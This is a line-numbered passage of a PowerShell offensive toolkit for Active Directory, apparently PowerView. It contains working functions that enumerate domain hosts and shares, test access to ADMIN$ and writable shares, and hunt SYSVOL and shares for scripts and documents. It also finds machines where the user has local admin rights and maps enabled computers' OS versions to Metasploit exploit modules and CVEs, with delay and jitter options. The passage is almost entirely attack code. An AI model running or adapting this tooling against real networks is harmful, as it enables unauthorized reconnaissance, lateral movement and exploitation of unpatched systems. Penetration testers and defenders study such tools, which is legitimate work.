7249 Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
7250
7251 $TargetUsers -contains $_.UserName
7252 }
7253 }
7254 }
7255 }
7256
7257 }
7258
7259 process {
7260
7261 if($Threads) {
7262 Write-Verbose "Using threading with threads = $Threads"
7263
7264
7265 $ScriptParams = @{
7266 'Ping' = $(-not $NoPing)
7267 'TargetUsers' = $TargetUsers
7268 'SearchDays' = $SearchDays
7269 'Credential' = $Credential
7270 }
7271
7272
7273 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
7274 }
7275
7276 else {
7277 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
7278
7279 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
7280 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
7281 }
7282
7283 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
7284 $Counter = 0
7285
7286 ForEach ($Computer in $ComputerName) {
7287
7288 $Counter = $Counter + 1
7289
7290
7291 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
7292
7293 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
7294 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
7295 }
7296 }
7297
7298 }
7299}
7300
7301
7302function Invoke-ShareFinder {
7303
7304
7305 [CmdletBinding()]
7306 param(
7307 [Parameter(Position=0,ValueFromPipeline=$True)]
7308 [Alias('Hosts')]
7309 [String[]]
7310 $ComputerName,
7311
7312 [ValidateScript({Test-Path -Path $_ })]
7313 [Alias('HostList')]
7314 [String]
7315 $ComputerFile,
7316
7317 [String]
7318 $ComputerFilter,
7319
7320 [String]
7321 $ComputerADSpath,
7322
7323 [Switch]
7324 $ExcludeStandard,
7325
7326 [Switch]
7327 $ExcludePrint,
7328
7329 [Switch]
7330 $ExcludeIPC,
7331
7332 [Switch]
7333 $NoPing,
7334
7335 [Switch]
7336 $CheckShareAccess,
7337
7338 [Switch]
7339 $CheckAdmin,
7340
7341 [UInt32]
7342 $Delay = 0,
7343
7344 [Double]
7345 $Jitter = .3,
7346
7347 [String]
7348 $Domain,
7349
7350 [String]
7351 $DomainController,
7352
7353 [Switch]
7354 $SearchForest,
7355
7356 [ValidateRange(1,100)]
7357 [Int]
7358 $Threads
7359 )
7360
7361 begin {
7362 if ($PSBoundParameters['Debug']) {
7363 $DebugPreference = 'Continue'
7364 }
7365
7366
7367 $RandNo = New-Object System.Random
7368
7369 Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
7370
7371
7372 [String[]] $ExcludedShares = @('')
7373
7374 if ($ExcludePrint) {
7375 $ExcludedShares = $ExcludedShares + "PRINT$"
7376 }
7377 if ($ExcludeIPC) {
7378 $ExcludedShares = $ExcludedShares + "IPC$"
7379 }
7380 if ($ExcludeStandard) {
7381 $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
7382 }
7383
7384
7385 if($ComputerFile) {
7386 $ComputerName = Get-Content -Path $ComputerFile
7387 }
7388
7389 if(!$ComputerName) {
7390 [array]$ComputerName = @()
7391
7392 if($Domain) {
7393 $TargetDomains = @($Domain)
7394 }
7395 elseif($SearchForest) {
7396
7397 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
7398 }
7399 else {
7400
7401 $TargetDomains = @( (Get-NetDomain).name )
7402 }
7403
7404 ForEach ($Domain in $TargetDomains) {
7405 Write-Verbose "[*] Querying domain $Domain for hosts"
7406 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
7407 }
7408
7409
7410 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
7411 if($($ComputerName.count) -eq 0) {
7412 throw "No hosts found!"
7413 }
7414 }
7415
7416
7417 $HostEnumBlock = {
7418 param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
7419
7420
7421 $Up = $True
7422 if($Ping) {
7423 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
7424 }
7425 if($Up) {
7426
7427 $Shares = Get-NetShare -ComputerName $ComputerName
7428 ForEach ($Share in $Shares) {
7429 Write-Verbose "[*] Server share: $Share"
7430 $NetName = $Share.shi1_netname
7431 $Remark = $Share.shi1_remark
7432 $Path = '\\'+$ComputerName+'\'+$NetName
7433
7434
7435 if (($NetName) -and ($NetName.trim() -ne '')) {
7436
7437 if($CheckAdmin) {
7438 if($NetName.ToUpper() -eq "ADMIN$") {
7439 try {
7440 $Null = [IO.Directory]::GetFiles($Path)
7441 "\\$ComputerName\$NetName `t- $Remark"
7442 }
7443 catch {
7444 Write-Verbose "Error accessing path $Path : $_"
7445 }
7446 }
7447 }
7448
7449 elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
7450
7451 if($CheckShareAccess) {
7452
7453 try {
7454 $Null = [IO.Directory]::GetFiles($Path)
7455 "\\$ComputerName\$NetName `t- $Remark"
7456 }
7457 catch {
7458 Write-Verbose "Error accessing path $Path : $_"
7459 }
7460 }
7461 else {
7462 "\\$ComputerName\$NetName `t- $Remark"
7463 }
7464 }
7465 }
7466 }
7467 }
7468 }
7469
7470 }
7471
7472 process {
7473
7474 if($Threads) {
7475 Write-Verbose "Using threading with threads = $Threads"
7476
7477
7478 $ScriptParams = @{
7479 'Ping' = $(-not $NoPing)
7480 'CheckShareAccess' = $CheckShareAccess
7481 'ExcludedShares' = $ExcludedShares
7482 'CheckAdmin' = $CheckAdmin
7483 }
7484
7485
7486 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
7487 }
7488
7489 else {
7490 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
7491
7492 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
7493 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
7494 }
7495
7496 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
7497 $Counter = 0
7498
7499 ForEach ($Computer in $ComputerName) {
7500
7501 $Counter = $Counter + 1
7502
7503
7504 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
7505
7506 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
7507 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
7508 }
7509 }
7510
7511 }
7512}
7513
7514
7515function Invoke-FileFinder {
7516
7517
7518 [CmdletBinding()]
7519 param(
7520 [Parameter(Position=0,ValueFromPipeline=$True)]
7521 [Alias('Hosts')]
7522 [String[]]
7523 $ComputerName,
7524
7525 [ValidateScript({Test-Path -Path $_ })]
7526 [Alias('HostList')]
7527 [String]
7528 $ComputerFile,
7529
7530 [String]
7531 $ComputerFilter,
7532
7533 [String]
7534 $ComputerADSpath,
7535
7536 [ValidateScript({Test-Path -Path $_ })]
7537 [String]
7538 $ShareList,
7539
7540 [Switch]
7541 $OfficeDocs,
7542
7543 [Switch]
7544 $FreshEXEs,
7545
7546 [Alias('Terms')]
7547 [String[]]
7548 $SearchTerms,
7549
7550 [ValidateScript({Test-Path -Path $_ })]
7551 [String]
7552 $TermList,
7553
7554 [String]
7555 $LastAccessTime,
7556
7557 [String]
7558 $LastWriteTime,
7559
7560 [String]
7561 $CreationTime,
7562
7563 [Switch]
7564 $IncludeC,
7565
7566 [Switch]
7567 $IncludeAdmin,
7568
7569 [Switch]
7570 $ExcludeFolders,
7571
7572 [Switch]
7573 $ExcludeHidden,
7574
7575 [Switch]
7576 $CheckWriteAccess,
7577
7578 [String]
7579 $OutFile,
7580
7581 [Switch]
7582 $NoClobber,
7583
7584 [Switch]
7585 $NoPing,
7586
7587 [UInt32]
7588 $Delay = 0,
7589
7590 [Double]
7591 $Jitter = .3,
7592
7593 [String]
7594 $Domain,
7595
7596 [String]
7597 $DomainController,
7598
7599 [Switch]
7600 $SearchForest,
7601
7602 [Switch]
7603 $SearchSYSVOL,
7604
7605 [ValidateRange(1,100)]
7606 [Int]
7607 $Threads,
7608
7609 [Switch]
7610 $UsePSDrive
7611 )
7612
7613 begin {
7614 if ($PSBoundParameters['Debug']) {
7615 $DebugPreference = 'Continue'
7616 }
7617
7618
7619 $RandNo = New-Object System.Random
7620
7621 Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"
7622
7623 $Shares = @()
7624
7625
7626 [String[]] $ExcludedShares = @("C$", "ADMIN$")
7627
7628
7629 if ($IncludeC) {
7630 if ($IncludeAdmin) {
7631 $ExcludedShares = @()
7632 }
7633 else {
7634 $ExcludedShares = @("ADMIN$")
7635 }
7636 }
7637
7638 if ($IncludeAdmin) {
7639 if ($IncludeC) {
7640 $ExcludedShares = @()
7641 }
7642 else {
7643 $ExcludedShares = @("C$")
7644 }
7645 }
7646
7647
7648 if(!$NoClobber) {
7649 if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
7650 }
7651
7652
7653 if ($TermList) {
7654 ForEach ($Term in Get-Content -Path $TermList) {
7655 if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
7656 $SearchTerms += $Term
7657 }
7658 }
7659 }
7660
7661
7662 if($ShareList) {
7663 ForEach ($Item in Get-Content -Path $ShareList) {
7664 if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
7665
7666 $Share = $Item.Split("`t")[0]
7667 $Shares += $Share
7668 }
7669 }
7670 }
7671 else {
7672
7673 if($ComputerFile) {
7674 $ComputerName = Get-Content -Path $ComputerFile
7675 }
7676
7677 if(!$ComputerName) {
7678
7679 if($Domain) {
7680 $TargetDomains = @($Domain)
7681 }
7682 elseif($SearchForest) {
7683
7684 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
7685 }
7686 else {
7687
7688 $TargetDomains = @( (Get-NetDomain).name )
7689 }
7690
7691 if($SearchSYSVOL) {
7692 ForEach ($Domain in $TargetDomains) {
7693 $DCSearchPath = "\\$Domain\SYSVOL\"
7694 Write-Verbose "[*] Adding share search path $DCSearchPath"
7695 $Shares += $DCSearchPath
7696 }
7697 if(!$SearchTerms) {
7698
7699 $SearchTerms = @('.vbs', '.bat', '.ps1')
7700 }
7701 }
7702 else {
7703 [array]$ComputerName = @()
7704
7705 ForEach ($Domain in $TargetDomains) {
7706 Write-Verbose "[*] Querying domain $Domain for hosts"
7707 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
7708 }
7709
7710
7711 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
7712 if($($ComputerName.Count) -eq 0) {
7713 throw "No hosts found!"
7714 }
7715 }
7716 }
7717 }
7718
7719
7720 $HostEnumBlock = {
7721 param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
7722
7723 Write-Verbose "ComputerName: $ComputerName"
7724 Write-Verbose "ExcludedShares: $ExcludedShares"
7725 $SearchShares = @()
7726
7727 if($ComputerName.StartsWith("\\")) {
7728
7729 $SearchShares += $ComputerName
7730 }
7731 else {
7732
7733 $Up = $True
7734 if($Ping) {
7735 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
7736 }
7737 if($Up) {
7738
7739 $Shares = Get-NetShare -ComputerName $ComputerName
7740 ForEach ($Share in $Shares) {
7741
7742 $NetName = $Share.shi1_netname
7743 $Path = '\\'+$ComputerName+'\'+$NetName
7744
7745
7746 if (($NetName) -and ($NetName.trim() -ne '')) {
7747
7748
7749 if ($ExcludedShares -NotContains $NetName.ToUpper()) {
7750
7751 try {
7752 $Null = [IO.Directory]::GetFiles($Path)
7753 $SearchShares += $Path
7754 }
7755 catch {
7756 Write-Verbose "[!] No access to $Path"
7757 }
7758 }
7759 }
7760 }
7761 }
7762 }
7763
7764 ForEach($Share in $SearchShares) {
7765 $SearchArgs = @{
7766 'Path' = $Share
7767 'SearchTerms' = $SearchTerms
7768 'OfficeDocs' = $OfficeDocs
7769 'FreshEXEs' = $FreshEXEs
7770 'LastAccessTime' = $LastAccessTime
7771 'LastWriteTime' = $LastWriteTime
7772 'CreationTime' = $CreationTime
7773 'ExcludeFolders' = $ExcludeFolders
7774 'ExcludeHidden' = $ExcludeHidden
7775 'CheckWriteAccess' = $CheckWriteAccess
7776 'OutFile' = $OutFile
7777 'UsePSDrive' = $UsePSDrive
7778 }
7779
7780 Find-InterestingFile @SearchArgs
7781 }
7782 }
7783 }
7784
7785 process {
7786
7787 if($Threads) {
7788 Write-Verbose "Using threading with threads = $Threads"
7789
7790
7791 $ScriptParams = @{
7792 'Ping' = $(-not $NoPing)
7793 'ExcludedShares' = $ExcludedShares
7794 'SearchTerms' = $SearchTerms
7795 'ExcludeFolders' = $ExcludeFolders
7796 'OfficeDocs' = $OfficeDocs
7797 'ExcludeHidden' = $ExcludeHidden
7798 'FreshEXEs' = $FreshEXEs
7799 'CheckWriteAccess' = $CheckWriteAccess
7800 'OutFile' = $OutFile
7801 'UsePSDrive' = $UsePSDrive
7802 }
7803
7804
7805 if($Shares) {
7806
7807 Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
7808 }
7809 else {
7810 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
7811 }
7812 }
7813
7814 else {
7815 if($Shares){
7816 $ComputerName = $Shares
7817 }
7818 elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
7819
7820 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
7821 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
7822 }
7823
7824 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
7825 $Counter = 0
7826
7827 $ComputerName | Where-Object {$_} | ForEach-Object {
7828 Write-Verbose "Computer: $_"
7829 $Counter = $Counter + 1
7830
7831
7832 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
7833
7834 Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
7835
7836 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
7837 }
7838 }
7839 }
7840}
7841
7842
7843function Find-LocalAdminAccess {
7844
7845
7846 [CmdletBinding()]
7847 param(
7848 [Parameter(Position=0,ValueFromPipeline=$True)]
7849 [Alias('Hosts')]
7850 [String[]]
7851 $ComputerName,
7852
7853 [ValidateScript({Test-Path -Path $_ })]
7854 [Alias('HostList')]
7855 [String]
7856 $ComputerFile,
7857
7858 [String]
7859 $ComputerFilter,
7860
7861 [String]
7862 $ComputerADSpath,
7863
7864 [Switch]
7865 $NoPing,
7866
7867 [UInt32]
7868 $Delay = 0,
7869
7870 [Double]
7871 $Jitter = .3,
7872
7873 [String]
7874 $Domain,
7875
7876 [String]
7877 $DomainController,
7878
7879 [Switch]
7880 $SearchForest,
7881
7882 [ValidateRange(1,100)]
7883 [Int]
7884 $Threads
7885 )
7886
7887 begin {
7888 if ($PSBoundParameters['Debug']) {
7889 $DebugPreference = 'Continue'
7890 }
7891
7892
7893 $RandNo = New-Object System.Random
7894
7895 Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay"
7896
7897
7898 if($ComputerFile) {
7899 $ComputerName = Get-Content -Path $ComputerFile
7900 }
7901
7902 if(!$ComputerName) {
7903 [array]$ComputerName = @()
7904
7905 if($Domain) {
7906 $TargetDomains = @($Domain)
7907 }
7908 elseif($SearchForest) {
7909
7910 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
7911 }
7912 else {
7913
7914 $TargetDomains = @( (Get-NetDomain).name )
7915 }
7916
7917 ForEach ($Domain in $TargetDomains) {
7918 Write-Verbose "[*] Querying domain $Domain for hosts"
7919 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
7920 }
7921
7922
7923 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
7924 if($($ComputerName.Count) -eq 0) {
7925 throw "No hosts found!"
7926 }
7927 }
7928
7929
7930 $HostEnumBlock = {
7931 param($ComputerName, $Ping)
7932
7933 $Up = $True
7934 if($Ping) {
7935 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
7936 }
7937 if($Up) {
7938
7939 $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
7940 if ($Access.IsAdmin) {
7941 $ComputerName
7942 }
7943 }
7944 }
7945
7946 }
7947
7948 process {
7949
7950 if($Threads) {
7951 Write-Verbose "Using threading with threads = $Threads"
7952
7953
7954 $ScriptParams = @{
7955 'Ping' = $(-not $NoPing)
7956 }
7957
7958
7959 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
7960 }
7961
7962 else {
7963 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
7964
7965 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
7966 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
7967 }
7968
7969 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
7970 $Counter = 0
7971
7972 ForEach ($Computer in $ComputerName) {
7973
7974 $Counter = $Counter + 1
7975
7976
7977 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
7978
7979 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
7980 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
7981 }
7982 }
7983 }
7984}
7985
7986
7987function Get-ExploitableSystem {
7988
7989 [CmdletBinding()]
7990 Param(
7991 [Parameter(ValueFromPipeline=$True)]
7992 [Alias('HostName')]
7993 [String]
7994 $ComputerName = '*',
7995
7996 [String]
7997 $SPN,
7998
7999 [String]
8000 $OperatingSystem = '*',
8001
8002 [String]
8003 $ServicePack = '*',
8004
8005 [String]
8006 $Filter,
8007
8008 [Switch]
8009 $Ping,
8010
8011 [String]
8012 $Domain,
8013
8014 [String]
8015 $DomainController,
8016
8017 [String]
8018 $ADSpath,
8019
8020 [Switch]
8021 $Unconstrained,
8022
8023 [ValidateRange(1,10000)]
8024 [Int]
8025 $PageSize = 200,
8026
8027 [Management.Automation.PSCredential]
8028 $Credential
8029 )
8030
8031 Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
8032
8033
8034 $TableAdsComputers = New-Object System.Data.DataTable
8035 $Null = $TableAdsComputers.Columns.Add('Hostname')
8036 $Null = $TableAdsComputers.Columns.Add('OperatingSystem')
8037 $Null = $TableAdsComputers.Columns.Add('ServicePack')
8038 $Null = $TableAdsComputers.Columns.Add('LastLogon')
8039
8040 Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {
8041
8042 $CurrentHost = $_.dnshostname
8043 $CurrentOs = $_.operatingsystem
8044 $CurrentSp = $_.operatingsystemservicepack
8045 $CurrentLast = $_.lastlogon
8046 $CurrentUac = $_.useraccountcontrol
8047
8048 $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2)
8049
8050
8051 $DisableOffset = $CurrentUacBin.Length - 2
8052 $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
8053
8054
8055 if ($CurrentDisabled -eq 0) {
8056
8057 $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)
8058 }
8059 }
8060
8061
8062 Write-Verbose "[*] Loading exploit list for critical missing patches..."
8063
8064
8065
8066
8067
8068
8069 $TableExploits = New-Object System.Data.DataTable
8070 $Null = $TableExploits.Columns.Add('OperatingSystem')
8071 $Null = $TableExploits.Columns.Add('ServicePack')
8072 $Null = $TableExploits.Columns.Add('MsfModule')
8073 $Null = $TableExploits.Columns.Add('CVE')
8074
8075
8076 $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8077 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8078 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8079 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
8080 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8081 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8082 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8083 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
8084 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
8085 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8086 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8087 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8088 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
8089 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8090 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8091 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8092 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
8093 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
8094 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8095 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
8096 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
8097 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8098 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8099 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8100 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8101 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
8102 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
8103 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8104 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
8105 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8106 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
8107 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8108 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8109 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
8110 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8111 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8112 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8113 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8114 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8115 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8116 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8117 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
8118 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8119 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
8120 $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
8121 $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8122 $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
8123 $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8124 $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8125 $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
8126 $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8127 $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
8128 $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8129 $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
8130 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
